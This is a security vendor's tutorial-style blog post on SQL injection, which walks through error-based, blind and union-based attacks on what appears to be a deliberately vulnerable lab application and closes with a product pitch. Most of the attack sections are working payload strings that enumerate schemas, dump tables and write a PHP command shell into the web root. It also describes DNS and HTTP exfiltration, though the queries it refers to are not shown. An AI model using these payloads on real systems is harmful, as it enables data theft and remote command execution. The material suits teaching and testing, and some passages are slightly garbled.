Web application security is a critical concern in today’s digital landscape, as cyber threats continue to evolve and become more sophisticated.
One of the most common and dangerous vulnerabilities that web applications can face is SQL Injection, which allows attackers to exploit weaknesses in the application’s database queries and gain unauthorized access to sensitive data or even take control of the underlying system.
In this blog, we will delve into the OWASP (Open Web Application Security Project) Top 10 Web Application Security Risks, with a specific focus on SQL Injection.
We will also explore:
Whether you are a developer, security professional, or simply someone interested in web application security, this blog will provide valuable insights into understanding and addressing SQL Injection vulnerabilities in your web applications.
Let’s get started!
SQL Injection is a type of cybersecurity attack where an attacker exploits vulnerabilities in a web application’s input fields to inject malicious SQL (Structured Query Language) code into an application’s database.
SQL is a standard programming language used to manage databases, and it is commonly used in web applications to interact with databases for tasks such as retrieving, inserting, updating, or deleting data.
In a SQL Injection attack, an attacker typically manipulates input fields, such as login forms or search boxes, to input SQL commands that are executed by the database without proper validation or sanitization. This allows the attacker to gain unauthorized access to the database, manipulate data, or execute arbitrary commands on the underlying system.
There are two types of SQL injection to remember.
Error-Based SQL Injection is a type of cyber attack where an attacker exploits vulnerabilities in a website’s SQL (Structured Query Language) database by intentionally injecting malicious SQL queries that trigger errors.
This type of attack typically occurs when a website does not properly validate and sanitize user input before incorporating it into SQL queries. The attacker manipulates the input fields of a web form or URL parameters to inject SQL statements that generate errors, which can reveal sensitive information such as usernames, passwords, and other confidential data.
Error-Based SQL Injection attacks can be carried out by skilled hackers using automated tools or manually crafted queries, and they can pose significant risks to the security and integrity of a website’s database and the data stored within it.
Web developers should implement strong input validation and parameterized queries to protect against Error-Based SQL Injection attacks and ensure the security of their web applications. Regular security audits and testing for SQL injection vulnerabilities are also crucial to prevent and detecting such attacks.
So far, we have discussed what Error based SQL injection is. Now, we will perform an Error-based SQL injection. This will help us to gain an in-depth understanding of the functioning.
STEP 1: Break the Query
To exploit SQL Injection the most important step is to break the SQL Query. As we break the query SQL throws an error which helps in confirming that it is vulnerable to SQL Injection.
An error is thrown that tells us that there is an odd number of quotes. But, why do you think the error has been thrown by the database?
So, here are a few reasons listed below why a database throws an error.
Step 2 – Fix the Query
Now that it is confirmed SQL Injection we also have to fix the query. Fixing the query gives us space to craft our malicious payload while ignoring the remaining genuine SQL Query. Fixing the Query gives us no error.
QUERY: ‘ #
Step 3 – Find Columns
Let’s now find the number of columns present in the Victim’s database. For this, we use ORDER BY. This tells the database how to order the result.
If the column number is present, it will throw no error, but if the column number is not present, it will throw an error.
QUERY: ‘Order By 3 #
Step 4 – Identifying Database Name and Database Version
Let’s combine multiple SQL SELECT Statements to confirm the number of columns we found from the victim’s SQL database. For this we use UNION. With UNION we can select more data in one SQL statement. With UNION we can find the database name with the database() function as well as the database version with the version() function.
QUERY: ‘ Union All Select 1,2 #
QUERY: ‘ union all select 1, database() #
The surname column tells the name of the database
QUERY: ‘ union all select 1, version() #
Step 5 – Finding Table Names
Now that we have the necessary information, let us extract the table names from the database of the victim. Here, we will use INFORMATION_SCHEMA along with the database name.
INFORMATION_SCHEMA contains the metadata of the database.
Also, we will use TABLE_SCHEMA which tells the name of the database to which the table belongs.
QUERY: ‘ union all select 1, table_name from information_schema.tables where table_schema=database() #
Step 6 – Finding Column Names
Now, that we have the necessary information along with some table names, let us extract the columns. We can extract the information from the columns from the previously found table_names.
QUERY: ‘ union all select 1, column_name from information_schema.columns where table_name= ‘ ‘ #
Step 7 – Dumping the Data
So, after all the processes so far we have all the information that is required to extract the valuable data from the database.
QUERY: ‘ union all select column_name 1, column_name 2 from table_name #
So here we saw how can SQL injection be implemented with the method of Error-Based SQL Injection.
Blind-based SQL injection is a type of web application vulnerability that occurs when an attacker can inject malicious SQL code into a web application’s database query, without directly receiving any error messages or visible feedback. This makes it difficult for the attacker to retrieve the results of the injected query in real time.
Instead, the attacker relies on manipulating the application’s behaviour and analyzing the resulting changes to infer the success of the injection.
This type of SQL injection can be particularly stealthy, as it does not generate any immediate error messages or other visible indications of a successful attack, making it harder for web application administrators to detect and mitigate.
Blind-based SQL injection attacks often require more effort and time to carry out successfully, as the attacker may need to perform multiple attempts and carefully analyze the application’s behaviour to determine the presence of vulnerabilities and retrieve sensitive information from the database.
Let us start with the exploitation with Blind based SQL Injection to get a hands-on experience and also to have a glance closely at the functioning.
Here, low-level code does not check and filter the parameter id. There are obvious SQL injection vulnerabilities, and the SQL statement returns only two results –
The User ID that exists in the database and the User ID that is missing from the database
Step 1 – Identifying Injection and if Injection is a Parameter or a Character
Now that we know now that ID 1 exists, we can try injecting a payload along with it to confirm that the application is vulnerable.
Injecting the payload 1′ and 1=1 # results in a ‘true’ condition because 1 is a valid ID and ‘1= 1’ is a TRUE statement. So the result returned informs that the ID is present in the database.
Alternatively,1′ and 1=2;- – results in a false condition because 1 is a valid user ID and 1=2 is false. Thus, we get an error that the user ID does not exist in the database.
Step 2 – Finding Coulms
Along with a valid user id and a true statement, we ask the database if is there only 1 column.
QUERY : 1′ and 1=1 union select 1 #
Step – 3 Identifying the name of the Database
The next step is to learn the name of the database, which starts by determining the length of the name and then enumerating the characters in the correct order until the right string is hit.
We use the following payloads to determine how long is the name: 1’ and length(database())=1 #
1’ and length(database())=2 # ID is Missing
1’ and length(database())=3 # ID is Missing
1’ and length(database())=4 # ID Exists
Let’s now identify the name of the database, with 1 character each and for that we use;
1′ and substring(database(),1,1)=’a’ #
So here we ask the database: Are you 1 character of your name “a”?
If NO, an error will be thrown but if YES, it will accept it.
1′ and substring(database(),1,1)=’d’ #
As such we try for all 26 alphabet characters and on analyzing what we get is;
1′ and substring(database(),2,1)=’v’ #
1′ and substring(database(),3,1)=’w’ #
1′ and substring(database(),4,1)=’a’ #
Step 4: Identifying the number of tables in the Database
As now we know the name of the database, let’s find the number of tables that are present in the database and for that, we use them;
1′ and (select count (table_name) from information_schema.tables where table_schema=database())=1 # ID is Missing
1′ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # ID Exists
Now we need to identify the character size of the names of these tables and for that we use;
1′ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # ID is Missing
We keep trying till we get an ID Exists error, and after enumerating, we get it on;
1′ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # ID Exists
Thus, as we have 2 tables we also check the character size for the other table by;
1′ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=1 # ID is Missing
Now we identify the names of these 2 tables, as we know their character length and for this the best way is to refer to ASCII Table
Now we need to check for all alphabets, Capital as well as Small, by using;
1′ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # ID Exists
1′ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>106 # ID is Missing
1′ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 # ID Exists
1′ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>104 # ID is Missing
1′ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>102# ID Exists
1′ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # ID is Missing1′ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # ID is Missing
1′ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # ID is Missing
Oddly, we got an error on greater than 103, as well as less than 103, so we can guess 103
Meaning the First letter of the First Table Name is g
(Note – Keep Enumerating till you have 2 tables: guestbook, users)
Step 5: Identifying the Field name in the Table
Now we identify the Column name from the users’ table, by using the;
1′ and (select count(column_name) from information_schema.columns where table_name= ‘users’)=1 # ID is Missing
1′ and (select count(column_name) from information_schema.columns where table_name= ‘users’)=8 # ID Exists
Then we try to identify the character size of each column just like we did above, and then we find the alphabets.
Step 6: Guess the Data
So now that we have found the column name, we dump the data in the same lengthy process;
So far, we have discussed the basics of SQL Injection along with some hands-on functionality.
Now, let us shed some light on advanced methods of SQL Injection attacks.
The two of the most advanced SQL Injection attacks are
As per our previous blog, we observed that we have 2 columns and we found this by using ORDER BY of the SQL. Now that we have a little more information about the database, we can use this at our convenience to perform a union-based SQL injection.
The union operator is used in SQL to combine the results of two or more blend statements, but for it to work properly, the statements have to have the same number of columns.
We can do many things with union-based injections, but here let’s try to run some commands.
Well, indeed that is possible and the best way to do so is by “Uploading a simple PHP Shell”.
We need to resolve the root directory of the webserver to upload our shell. Depending on the application we can guess the type of web server used, which can alter, especially if the admin changes the default location.
For understanding purposes, let’s assume that the default webroot of Apache (/var/www/) is being used with public write permissions.
NOTE: Information about the web server, including the root directory, can usually be found in the “phpinfo.php” file.
We can use into out file command to write to a file. We will thus insert a simple PHP script which could execute commands which will look like this:
<?php system($_GET[“cmd”]); ?>
Let’s Inject; Using double quotation marks in the script as we need to enclose the second part of the statement in single quotes to avoid syntax errors, which will look like this;
Where cmd.php is the name of our shell file.
‘ union select 1, ‘<?php system($_GET[“cmd”]); ?>’ into outfile ‘/var/www/dvwa/cmd.php’ #
Thus, as this works properly, so we will be able to access our shell via URL and execute commands.
Band technique provides an attacker with an alternative way to confirm and exploit a vulnerability that is otherwise “blind”. In a blind vulnerability, as an attacker, you do not get the output of the vulnerability in the direct response to the vulnerable request.
The OOB techniques often require a vulnerable entity to generate an outbound TCP/UDP/ICMP request and that will then allow an attacker to exfiltrate data. The success of an OOB SQL attack is based on the egress firewall rules i.e. which outbound request is permitted from the vulnerable system and the perimeter firewall.
OOB SQL attack injection exfiltrates data through an outbound channel can be either DNS or HTTP protocol. The capability of a database system to initiate outbound DNS or HTTP requests may need to rely on the function available. The function can be either a file operation function (for instance: load_file(), master..xp_dirtree) or establish connection function (for instance: DBMS_LDAP.INIT, UTL_HTTP.request).
Let us discuss DNS-based exfiltration and HTTP-based exfiltration in detail explicitly.
The following is a sample query for DNS-based exfiltration for MariaDB, one of the forks of MySQL database.
This query is used to exfiltrate the database version, username, and password from MariaDB.
load_file() function is used to initiate outbound DNS requests and period (.) as a delimiter to organize the display of captured data.
Oracle database is used to demonstrate HTTP-based exfiltration by using the UTL_HTTP.request function.
The following shows the sample query used to exfiltrate the database version, current username and hashed password from the database.
The purpose of the UTL_HTTP.request() function is to trigger the HTTP request of the database system. Whereas, string version, user and hash pass are used to organize the captured data and made it looks like parameters of the HTTP request.
The above usually comes in handy for the prevention of SQL injection attacks by reducing the variety of types of lines and statements that can be cleared through the parameters. although, there are various methods around the restrictions and limitations and many other intriguing lines that can be entered to store the process.
Due to such a long, time-consuming, and extremely lengthy process of blind injection, tools like SQLMAP are also used to ease the entire process.
SecureLayer7 is your trusted partner in safeguarding your organization against SQL Injection attacks.
Our cutting-edge cybersecurity solutions are designed to detect and block SQL Injection vulnerabilities in your web applications, ensuring that your sensitive data remains secure.
With advanced vulnerability detection, real-time monitoring, custom security policies, regular security audits, and seamless integration, SecureLayer7 offers a comprehensive defence against SQL Injection attacks.
Don’t compromise your organization’s data – choose SecureLayer7 for robust protection against this prevalent threat and gain peace of mind knowing your web applications are safeguarded against malicious attacks.